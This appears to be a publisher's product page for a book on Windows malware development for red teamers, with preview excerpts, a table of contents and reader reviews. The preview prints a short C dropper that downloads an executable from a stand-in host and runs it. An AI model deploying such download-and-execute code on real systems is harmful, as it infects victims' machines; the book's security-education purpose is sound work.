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Malware Development for Ethical Hackers
Malware Development for Ethical Hackers

Malware Development for Ethical Hackers: Learn how to develop various types of malware to strengthen cybersecurity

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Profile Icon Zhassulan Zhussupov
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$9.99 $43.99
Full star icon Full star icon Full star icon Full star icon Half star icon 4.3 (9 Ratings)
eBook Jun 2024 390 pages 1st Edition
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Arrow left icon
Profile Icon Zhassulan Zhussupov
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$9.99 $43.99
Full star icon Full star icon Full star icon Full star icon Half star icon 4.3 (9 Ratings)
eBook Jun 2024 390 pages 1st Edition
eBook
$9.99 $43.99
Paperback
$54.99
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Free Trial
Renews at $19.99p/m
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Malware Development for Ethical Hackers

A Quick Introduction to Malware Development

Malware development represents a paradoxical frontier in the world of ethical hacking and cybersecurity engineering. On one side, it is the realm of nefarious hackers intent on wreaking havoc, stealing information, and disrupting systems. On the other hand, it is the playground of ethical hackers and cybersecurity engineers who seek to understand the inner workings of malicious software to better protect and fortify systems against them. In essence, malware development is the process of creating software with the intent of causing harm, unauthorized access, or disruption of services. But for cybersecurity professionals, it provides a pathway to deeper knowledge and comprehensive understanding of threats, helping to stay a step ahead of adversaries.

In this chapter, we’re going to cover the following main topics:

  • What is malware development?
  • Unpacking malware functionality and behavior
  • Leveraging Windows internals...

Technical requirements

In this book, I will use the Kali Linux (https://www.kali.org/) and Parrot Security OS (https://www.parrotsec.org/) virtual machines for development and demonstration and Windows 10 (https://www.microsoft.com/en-us/software-download/windows10ISO) as the victim’s machine.

In the book’s repository, you can find instructions for setting up virtual machines according to the VirtualBox documentation.

The next thing we’ll want to do is set up our development environment in Kali Linux. We’ll need to make sure we have the necessary tools installed, such as a text editor, compiler, etc.

I just use NeoVim (https://github.com/neovim/neovim) with syntax highlighting as a text editor. Neovim is a great choice for a lightweight, efficient text editor, but you can use another you like, for example, VSCode (https://code.visualstudio.com/).

As far as compiling our examples, I use MinGW (https://www.mingw-w64.org/) for Linux, which is installed...

What is malware development?

Whether you’re a specialist in red team or pentesting operations, gaining knowledge of malware development techniques and tricks offers an encompassing view of sophisticated attacks. Furthermore, considering that a significant portion of traditional malwares are developed under Windows, it inherently provides a practical understanding of Windows development.

Malware is a type of software designed to conduct malicious actions, such as gaining unauthorized access to a computer or stealing sensitive information from a computer. The term malware is typically associated with illegal or criminal activity, but it can also be used by ethical hackers, such as penetration testers and red teamers, to execute an authorized security assessment of an organization.

Developing custom tools, such as malware, that have not been analyzed or signed by security vendors provides the attacking team with an advantage in terms of detection. This is where knowledge...

Unpacking malware functionality and behavior

This chapter provides an overview of the various malware behaviors, some of which you may already be familiar with. My objective is to provide a summary of common behaviors and to equip you with a well-rounded knowledge base that will enable you to develop a variety of malicious applications. Because new malware is constantly being created with seemingly limitless capabilities, I cannot possibly cover every type of malware, but I can give you a decent idea of what to look for.

Types of malware

Let’s start by discussing some of the most common types of malware. There are many different categories, but we can start by talking about viruses, worms, and trojans. Viruses are pieces of code that attach themselves to other programs and replicate themselves, often causing damage in the process. Worms are similar to viruses, but they are self-replicating and can spread across networks without human intervention. Trojans are pieces of...

Leveraging Windows internals for malware development

The Windows API allows developers to interact with the Windows operating system via their applications. For instance, if an application needs to display something on the screen, modify a file, or download something from the internet, all of these tasks can be accomplished through the Windows API. Microsoft provides extensive documentation for the Windows API, which can be viewed on MSDN.

Practical example

Here is a straightforward C program that uses the Windows API to retrieve and display the name of the current user. Remember that, while this program is not inherently harmful, comprehending these principles can serve as a stepping stone to the development of more complex (potentially harmful) programs. Use this information responsibly at all times:

#include <windows.h>
#include <stdio.h>
int main() {
  char username[UNLEN + 1];
  DWORD username_len = UNLEN + 1;
  GetUserName(username...

Exploring PE-file (EXE and DLL)

What is the PE-file format? It is the native file format of Win32. It derives some of its specifications from Unix Coff (common object file format). The meaning of portable executable is that the file format is ubiquitous across the Win32 platform; the PE loader of each Win32 platform recognizes and uses this file format, even when Windows is running on CPU platforms other than Intel. It does not imply that your PE executables can be migrated without modification to other CPU platforms. Consequently, analyzing the PE file format offers valuable insights into the Windows architecture.

The PE file format is fundamentally defined by the PE header, so you should read about that first. You don’t need to comprehend every aspect of it, but you should understand its structure and be able to identify the most essential components:

  • DOS header: The DOS header contains the information required to launch PE files. Therefore, this preamble is required...

The art of deceiving a victim’s systems

We’ll provide some simple examples of malware delivery techniques. Note that these are simplified examples and concepts; real-world malware often employs more sophisticated strategies and evasion techniques, which you can read about in future chapters:

  • Download and execute malware from a remote server: A malware might be hosted on a remote server and a dropper program can be used to download and execute it:
    #include <windows.h>
    #include <urlmon.h>
    #pragma comment(lib, "urlmon.lib")
    int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
      LPSTR lpCmdLine, int nCmdShow) {
      URLDownloadToFile(NULL, "http://maliciouswebsite.com/malware.exe", "C:\\temp\\malware.exe", 0, NULL);
      ShellExecute(NULL, "open", "C:\\temp\\malware.exe", NULL, NULL, SW_SHOWNORMAL);
      return 0;
    }
  • Drive by downloads (malicious web sites): When...

Summary

In the realm of ethical hacking, understanding malware development is a vital and complex skill that transcends mere code writing. Malware development for ethical purposes involves the simulation, analysis, and study of malicious software to uncover tricks and techniques used by hackers, enhance defense mechanisms, and provide insight into potential threats.

By simulating malware, ethical hackers can develop robust security measures and preemptively guard against future attacks. For instance, a simple keylogger, written in C, can be designed to capture keystrokes, demonstrating how malware can covertly gather sensitive information. Another example might involve crafting a benign worm in C++ that propagates across a controlled network, illustrating how malware can spread and the importance of network security.

By delving into these and other examples, we will have laid the foundation for understanding malware from an ethical perspective, emphasizing responsible practices...

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Key benefits

  • Learn how to develop and program Windows malware applications using hands-on examples
  • Explore methods to bypass security mechanisms and make malware undetectable on compromised systems
  • Understand the tactics and tricks of real adversaries and APTs and apply their experience in your operations
  • Purchase of the print or Kindle book includes a free PDF eBook

Description

Malware Development for Ethical Hackers is a comprehensive guide to the dark side of cybersecurity within an ethical context. This book takes you on a journey through the intricate world of malware development, shedding light on the techniques and strategies employed by cybercriminals. As you progress, you’ll focus on the ethical considerations that ethical hackers must uphold. You’ll also gain practical experience in creating and implementing popular techniques encountered in real-world malicious applications, such as Carbanak, Carberp, Stuxnet, Conti, Babuk, and BlackCat ransomware. This book will also equip you with the knowledge and skills you need to understand and effectively combat malicious software. By the end of this book, you'll know the secrets behind malware development, having explored the intricate details of programming, evasion techniques, persistence mechanisms, and more.

Who is this book for?

This book is for penetration testers, exploit developers, ethical hackers, red teamers, and offensive security researchers. Anyone interested in cybersecurity and ethical hacking will also find this book helpful. Familiarity with core ethical hacking and cybersecurity concepts will help you understand the topics discussed in this book more easily.

What you will learn

  • Familiarize yourself with the logic of real malware developers for cybersecurity
  • Get to grips with the development of malware over the years using examples
  • Understand the process of reconstructing APT attacks and their techniques
  • Design methods to bypass security mechanisms for your red team scenarios
  • Explore over 80 working examples of malware
  • Get to grips with the close relationship between mathematics and modern malware

Product Details

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Publication date : Jun 28, 2024
Length: 390 pages
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Language : English
ISBN-13 : 9781801076975
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Publication date : Jun 28, 2024
Length: 390 pages
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Language : English
ISBN-13 : 9781801076975
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Table of Contents

22 Chapters
Part 1: Malware Behavior: Injection, Persistence, and Privilege Escalation Techniques Chevron down icon Chevron up icon
Chapter 1: A Quick Introduction to Malware Development Chevron down icon Chevron up icon
Chapter 2: Exploring Various Malware Injection Attacks Chevron down icon Chevron up icon
Chapter 3: Mastering Malware Persistence Mechanisms Chevron down icon Chevron up icon
Chapter 4: Mastering Privilege Escalation on Compromised Systems Chevron down icon Chevron up icon
Part 2: Evasion Techniques Chevron down icon Chevron up icon
Chapter 5: Anti-Debugging Tricks Chevron down icon Chevron up icon
Chapter 6: Navigating Anti-Virtual Machine Strategies Chevron down icon Chevron up icon
Chapter 7: Strategies for Anti-Disassembly Chevron down icon Chevron up icon
Chapter 8: Navigating the Antivirus Labyrinth – a Game of Cat and Mouse Chevron down icon Chevron up icon
Part 3: Math and Cryptography in Malware Chevron down icon Chevron up icon
Chapter 9: Exploring Hash Algorithms Chevron down icon Chevron up icon
Chapter 10: Simple Ciphers Chevron down icon Chevron up icon
Chapter 11: Unveiling Common Cryptography in Malware Chevron down icon Chevron up icon
Chapter 12: Advanced Math Algorithms and Custom Encoding Chevron down icon Chevron up icon
Part 4: Real-World Malware Examples Chevron down icon Chevron up icon
Chapter 13: Classic Malware Examples Chevron down icon Chevron up icon
Chapter 14: APT and Cybercrime Chevron down icon Chevron up icon
Chapter 15: Malware Source Code Leaks Chevron down icon Chevron up icon
Chapter 16: Ransomware and Modern Threats Chevron down icon Chevron up icon
Index Chevron down icon Chevron up icon
Other Books You May Enjoy Chevron down icon Chevron up icon

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William Aug 29, 2024
Full star icon Full star icon Full star icon Full star icon Full star icon 5
This is an outstanding resource for anyone looking to excel in cybersecurity. This book delivers comprehensive coverage of malware development, from foundational concepts to advanced tactics like Anti-Debugging and Anti-VM techniques. Zhussupov does an excellent job of making complex topics accessible, with practical examples that make the content immediately applicable. Whether you’re a seasoned professional or an ethical hacker looking to expand your skill set, this book is a must-have. Highly recommended!
Amazon Verified review Amazon
who Jul 12, 2024
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I like the book. It has plenty of up-to-date information and actual implementations with links to GitHub. It's easy to understand and easy to read (letters are kinda small but still readable). The material is also good, the cover is matte and feels awesome
Amazon Verified review Amazon
Matt Johnson Sep 03, 2024
Full star icon Full star icon Full star icon Full star icon Full star icon 5
"Malware Development for Ethical Hackers" is a hands-on guide for anyone interested in understanding the inner workings of malware from an ethical perspective. The book begins with an introduction to malware development, covering concepts and tools. It then dives into various attack techniques, including malware injection, persistence, and privilege escalation on Windows systems.As you progress, you'll learn about anti-debugging tricks, anti-virtual machine strategies, and anti-disassembly techniques to strengthen your code. The book also covers how to navigate antivirus systems, use hash algorithms, and implement ciphers.It discusses advanced math algorithms, classic malware examples, and modern threats like ransomware, providing both context and practical insights. This book is a great resource for anyone aiming to deepen their knowledge of malware development.
Amazon Verified review Amazon
Joas Antonio dos Santos Jul 15, 2024
Full star icon Full star icon Full star icon Full star icon Full star icon 5
"Malware Development for Ethical Hackers" by Zhassulan Zhussupov offers a deep exploration of malware creation, aimed at readers with a strong interest in enhancing their cybersecurity defenses. The book is dense with technical knowledge and practical examples, making it a valuable resource for professionals looking to understand and simulate cyber threats to develop robust countermeasures.Zhussupov's expertise is evident as he covers a variety of topics, from basic malware creation to advanced persistence and evasion techniques. The chapters on Advanced Mathematical Algorithms and Custom Encoding Techniques are particularly impressive, offering a detailed insight that is rarely found in other publications in the field. Furthermore, the discussion on APTs and Cybercrime is enlightening and effectively captures the complexity of modern threats.However, the book is not without its challenges. Beginners may find the content overwhelming due to its technical depth. The book is rich in code examples and detailed descriptions, which helps in understanding the more complex topics. I am looking forward to a second part. Overall, "Malware Development for Ethical Hackers" is a very good book for those already familiar with the field, looking to deepen their expertise in malware analysis and development.I'm looking forward to a part two, as I know the author has a lot to contribute!
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Tiffany Fannon Oct 02, 2024
Full star icon Full star icon Full star icon Full star icon Full star icon 5
I am an ethical hacker with 5 years in the business and found Malware Development for Ethical Hackers to be a valuable resource that offers a comprehensive look in the world of malware development. The book provides a unique perspective by exploring the techniques and strategies that cybercriminals employed. Yet maintains the focus of ethical considerations. I think this would be a good read for those that want to get in cybersecurity as an ethical hacker, exploit developer and security researchers. While it doesn't go into every detail of malware development, it gives security professionals a good start.
Amazon Verified review Amazon
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